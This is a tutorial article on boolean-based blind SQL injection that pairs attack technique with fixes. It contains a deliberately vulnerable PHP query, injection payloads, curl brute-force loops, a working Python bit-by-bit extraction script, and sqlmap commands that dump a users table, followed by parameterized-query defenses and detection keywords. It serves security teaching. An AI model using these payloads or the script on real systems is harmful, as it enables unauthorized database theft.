Boolean-based blind SQL injection is the kind of bug that feels almost unfair the first time you see it. There’s no stack trace, no juicy SQL error, no visible dump of rows splashed onto the page. Just a tiny behavioral difference: a page says “Welcome back” instead of “Invalid user,” or a product list appears for one request and disappears for another. That’s enough. If an application builds SQL unsafely and reflects only a true/false outcome, an attacker can still extract data—one character, one bit, one yes/no question at a time. In this article, we’ll break down how boolean-based blind SQL injection works, how attackers turn tiny response differences into full database exfiltration, and how developers can shut it down properly.
What is boolean-based blind SQL injection?
Boolean-based blind SQL injection happens when:
- User input is concatenated into a SQL query.
- The application does not return raw database errors or query results directly.
- The application’s response still changes depending on whether the SQL condition evaluates to true or false.
That last point is the whole game.
Imagine a vulnerable login or search feature. The app might run a query like this:
SELECT * FROM users WHERE username = '$input';
If the application doesn’t print SQL errors and doesn’t show the actual row contents, you might think exploitation is impossible. But if the page behaves differently depending on whether rows are returned, you can inject conditions such as:
' AND 1=1 --
versus:
' AND 1=2 --
If the first request produces a “normal” page and the second produces an “empty” page, you now have a binary oracle. You can ask the database questions and infer the answer from the response.
The vulnerable pattern
Here’s a deliberately insecure example in PHP:
<?php
$conn = new mysqli("localhost", "app", "password", "shop");
$category = $_GET['category'];
$sql = "SELECT name, price FROM products WHERE category = '$category'";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "<h2>Products</h2>";
while ($row = $result->fetch_assoc()) {
echo htmlspecialchars($row['name']) . " - $" . htmlspecialchars($row['price']) . "<br>";
}
} else {
echo "No products found.";
}
?>
A request like this:
GET /products.php?category=electronics
might show products.
But if the attacker sends:
GET /products.php?category=electronics' AND 1=1 --
the SQL becomes:
SELECT name, price FROM products WHERE category = 'electronics' AND 1=1 -- '
That still returns products.
Now send:
GET /products.php?category=electronics' AND 1=2 --
The SQL becomes:
SELECT name, price FROM products WHERE category = 'electronics' AND 1=2 -- '
That returns no rows, and the page says “No products found.”
That difference confirms injectable SQL and gives us a true/false channel.
Why “blind” doesn’t mean “safe”
Developers sometimes assume they’re protected because:
- errors are hidden,
- query results aren’t directly rendered,
- the endpoint only shows generic messages.
But blind SQL injection is still enough to leak:
- database version,
- current user,
- database name,
- table names,
- column names,
- credential hashes,
- API keys,
- session tokens,
- any readable data.
The tradeoff is speed. Instead of dumping a table in one query, the attacker asks hundreds or thousands of yes/no questions.
Confirming a boolean blind injection point
The first step is to identify a parameter that changes application behavior based on query results.
Basic true/false probes
Try a normal request first:
curl "http://target.local/products.php?category=electronics"
Then compare true and false conditions:
curl "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20"
curl "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20"
If one returns a product list and the other returns an empty state, that’s a strong signal.
You can also use ORDER BY, subqueries, or existence checks depending on context.
For numeric parameters:
GET /item.php?id=10 AND 1=1
GET /item.php?id=10 AND 1=2
For string parameters:
GET /search.php?q=test' AND 'a'='a
GET /search.php?q=test' AND 'a'='b
The exact payload depends on the query structure and database flavor.
Turning true/false into data extraction
Once you have a boolean oracle, the next step is to ask the database specific questions.
A classic pattern is:
- Guess the length of a string.
- Extract one character at a time.
- Determine each character by comparing ASCII values.
Step 1: Determine the length of the target string
Suppose we want the current database name.
In MySQL, you can test:
LENGTH(DATABASE()) = 6
Injected into the vulnerable parameter:
GET /products.php?category=electronics' AND LENGTH(DATABASE())=6 --
If the page behaves “true,” the database name is 6 characters long.
You can brute-force the length:
for i in $(seq 1 20); do
curl -s "http://target.local/products.php?category=electronics'%20AND%20LENGTH(DATABASE())=$i%20--%20" | grep -q "Products" \
&& echo "[+] Length is $i"
done
Step 2: Extract characters one by one
Once you know the length, test each character position using SUBSTRING() and ASCII().
Example question:
ASCII(SUBSTRING(DATABASE(),1,1)) = 115
If true, the first character is ASCII 115, which is s.
Payload:
GET /products.php?category=electronics' AND ASCII(SUBSTRING(DATABASE(),1,1))=115 --
You can brute-force the first character:
for c in $(seq 32 126); do
curl -s "http://target.local/products.php?category=electronics'%20AND%20ASCII(SUBSTRING(DATABASE(),1,1))=$c%20--%20" | grep -q "Products" \
&& echo "[+] First char: $(printf "\\$(printf '%03o' $c)")"
done
Then repeat for each position.
Bit-by-bit extraction
Brute-forcing every ASCII value from 32 to 126 works, but it’s noisy and slow. A more elegant approach is to extract each character bit by bit.
Why bits? Because a character is just a number, and numbers are represented in binary. If you can ask whether a bit is set, you can reconstruct the value efficiently.
Example logic
Suppose the first character of the database name is s, ASCII 115.
Binary representation:
115 = 01110011
We can ask:
- Is bit 0 set?
- Is bit 1 set?
- Is bit 2 set?
- ...
In MySQL, one way is to use bitwise &:
ASCII(SUBSTRING(DATABASE(),1,1)) & 1
ASCII(SUBSTRING(DATABASE(),1,1)) & 2
ASCII(SUBSTRING(DATABASE(),1,1)) & 4
ASCII(SUBSTRING(DATABASE(),1,1)) & 8
...
If the result is non-zero, that bit is set.
Payload example:
GET /products.php?category=electronics' AND (ASCII(SUBSTRING(DATABASE(),1,1)) & 1) > 0 --
Then:
GET /products.php?category=electronics' AND (ASCII(SUBSTRING(DATABASE(),1,1)) & 2) > 0 --
And so on through bit 128.
Why bit-by-bit matters
Compared to trying every printable ASCII value, bit extraction gives a predictable 7–8 requests per character. That’s often more efficient and easier to automate.
A practical extraction script
Here’s a simple Python proof-of-concept for educational use against a lab target. This example assumes:
- MySQL syntax,
- a visible marker
"Products"means the condition is true, - injection is in the
categoryparameter.
import requests
BASE_URL = "http://target.local/products.php"
TRUE_MARKER = "Products"
def is_true(condition):
payload = f"electronics' AND ({condition}) -- "
r = requests.get(BASE_URL, params={"category": payload}, timeout=10)
return TRUE_MARKER in r.text
def get_length(expr, max_len=50):
for i in range(1, max_len + 1):
if is_true(f"LENGTH(({expr}))={i}"):
return i
raise Exception("Length not found")
def get_char_bits(expr, position):
value = 0
for bit in [1, 2, 4, 8, 16, 32, 64, 128]:
condition = f"(ASCII(SUBSTRING(({expr}),{position},1)) & {bit}) > 0"
if is_true(condition):
value |= bit
return chr(value)
def extract_string(expr):
length = get_length(expr)
result = ""
for pos in range(1, length + 1):
ch = get_char_bits(expr, pos)
result += ch
print(f"[+] {pos}/{length}: {result}")
return result
if __name__ == "__main__":
db_name = extract_string("DATABASE()")
print(f"[+] Database name: {db_name}")
This script first determines the string length, then reconstructs each character via bitwise tests.
Extracting real data from metadata tables
Attackers usually don’t stop at DATABASE(). The next move is often information_schema, which exposes database metadata in MySQL.
Enumerate the first table name
Find the length of the first table name in the current database:
LENGTH((
SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE()
LIMIT 0,1
)) = 5
Then extract its characters bit by bit:
ASCII(SUBSTRING((
SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE()
LIMIT 0,1
),1,1)) & 64 > 0
Enumerate column names
Once a table is known, say users, enumerate its first column:
SELECT column_name
FROM information_schema.columns
WHERE table_schema = DATABASE()
AND table_name = 'users'
LIMIT 0,1
Then use the same LENGTH, SUBSTRING, ASCII, and bitwise logic.
Extract actual secrets
If the attacker identifies a users table with username and password_hash columns, they can target values directly:
SELECT password_hash FROM users LIMIT 0,1
Then extract that hash character by character.
This is why blind SQL injection is still severe even without visible query output.
Using binary search instead of bits
There’s another efficient strategy: binary search on ASCII values.
Instead of asking “is bit 4 set?”, ask “is the ASCII value greater than 77?” Then split the range repeatedly.
Example:
ASCII(SUBSTRING(DATABASE(),1,1)) > 77
Then maybe:
ASCII(SUBSTRING(DATABASE(),1,1)) > 109
This takes about log2(128) requests per character—roughly 7 requests—similar to bit extraction.
A binary-search extractor often looks like this:
def get_char_binary(expr, position):
low, high = 0, 127
while low <= high:
mid = (low + high) // 2
if is_true(f"ASCII(SUBSTRING(({expr}),{position},1))>{mid}"):
low = mid + 1
else:
high = mid - 1
return chr(low)
Both approaches are valid. Bit-by-bit extraction is conceptually clean and maps nicely to how boolean oracles work.
Database-specific notes
The exact syntax varies across database engines.
MySQL / MariaDB
Common functions:
DATABASE()LENGTH()SUBSTRING()ASCII()- bitwise
&
Example:
ASCII(SUBSTRING(DATABASE(),1,1)) & 8 > 0
PostgreSQL
Use:
current_database()length()substring()ascii()
Bitwise operators also exist, but syntax may differ depending on types and casting.
Example:
ascii(substring(current_database(),1,1)) > 100
Microsoft SQL Server
Use:
DB_NAME()LEN()SUBSTRING()ASCII()
Example:
ASCII(SUBSTRING(DB_NAME(),1,1)) > 100
Comment styles and string concatenation rules also differ, so payload tuning matters.
Real-world indicators of boolean blind SQLi
In practice, the “true” and “false” responses are not always obvious. Watch for:
- content length changes,
- presence/absence of a message,
- different number of returned items,
- subtle HTML variations,
- status code differences,
- redirect behavior,
- cache behavior.
A useful workflow is to diff responses.
Example with curl and wc:
curl -s "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20" | wc -c
curl -s "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20" | wc -c
Or save and compare:
curl -s "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20" -o true.html
curl -s "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20" -o false.html
diff -u true.html false.html
Tooling: where sqlmap fits
For authorized testing, sqlmap can automate boolean-based blind SQL injection very effectively.
Basic example:
sqlmap -u "http://target.local/products.php?category=electronics" --dbs --batch
Force blind techniques if needed:
sqlmap -u "http://target.local/products.php?category=electronics" --technique=B --batch
Dump tables:
sqlmap -u "http://target.local/products.php?category=electronics" -D shop --tables --batch
Dump data:
sqlmap -u "http://target.local/products.php?category=electronics" -D shop -T users --dump --batch
Use tooling ethically: only against systems you own or are explicitly authorized to test.
Defenses: how to actually fix this
The fix is not “hide errors better.” The fix is to stop building SQL with untrusted input.
1. Use parameterized queries
This is the primary defense.
PHP with prepared statements
<?php
$conn = new mysqli("localhost", "app", "password", "shop");
$category = $_GET['category'];
$stmt = $conn->prepare("SELECT name, price FROM products WHERE category = ?");
$stmt->bind_param("s", $category);
$stmt->execute();
$result = $stmt->get_result();
if ($result && $result->num_rows > 0) {
echo "<h2>Products</h2>";
while ($row = $result->fetch_assoc()) {
echo htmlspecialchars($row['name']) . " - $" . htmlspecialchars($row['price']) . "<br>";
}
} else {
echo "No products found.";
}
?>
Now the input is treated as data, not SQL syntax.
Python with parameterization
import mysql.connector
conn = mysql.connector.connect(
host="localhost",
user="app",
password="password",
database="shop"
)
category = request.args.get("category")
cursor = conn.cursor()
cursor.execute("SELECT name, price FROM products WHERE category = %s", (category,))
rows = cursor.fetchall()
2. Avoid dynamic SQL where possible
If you must build dynamic queries, use strict allowlists for things that cannot be parameterized easily, such as column names or sort direction.
Bad:
query = f"SELECT * FROM products ORDER BY {user_input}"
Better:
allowed = {"name", "price", "created_at"}
sort = user_input if user_input in allowed else "name"
query = f"SELECT * FROM products ORDER BY {sort}"
3. Use least-privilege database accounts
Even if injection exists, the database user should not have broad access.
The app account should ideally not be able to:
- read every schema,
- access admin tables,
- write arbitrary data,
- create/drop tables,
- execute dangerous stored procedures.
If the application only needs SELECT on a few tables, don’t give it more.
4. Normalize error handling, but don’t rely on it
Suppressing verbose SQL errors is still good hygiene, but it is not a complete defense. Boolean blind injection works fine without errors.
5. Add security testing to development workflows
Use:
- SAST tools to flag unsafe query construction,
- DAST scanners in staging,
- code review checklists for database access,
- dependency-safe ORM or query builder patterns.
6. Monitor for suspicious patterns
Detection opportunities include:
- repeated requests with
',--,AND,SUBSTRING,ASCII,LENGTH, - high-volume requests to one endpoint with tiny parameter variations,
- unusual access patterns against search/login/product pages.
A WAF may help reduce commodity exploitation, but it should be treated as a speed bump, not the core fix.
A mental model for developers
Here’s the key lesson: if user input can alter SQL structure, the attacker does not need direct output. They only need one observable difference tied to query truth.
That difference can be:
- “0 rows” vs “1+ rows,”
- “valid” vs “invalid,”
- redirect vs no redirect,
- slightly different HTML,
- even timing, in related blind techniques.
Once that oracle exists, data becomes extractable.
Final thoughts
Boolean-based blind SQL injection is a perfect example of why “we don’t show database errors” is not a security strategy. If the application lets untrusted input shape a query, an attacker can interrogate the database with true/false questions and slowly peel out sensitive data bit by bit.
For defenders, the path is straightforward:
- parameterize every query,
- avoid unsafe dynamic SQL,
- enforce least privilege,
- test continuously.
For security engineers, understanding blind extraction is valuable because it sharpens your instinct for side channels. For developers, it’s a reminder that even tiny response differences can become a full data leak if the SQL layer is built carelessly.
No fireworks, no dramatic error page—just a quiet yes/no channel and enough patience to turn it into everything.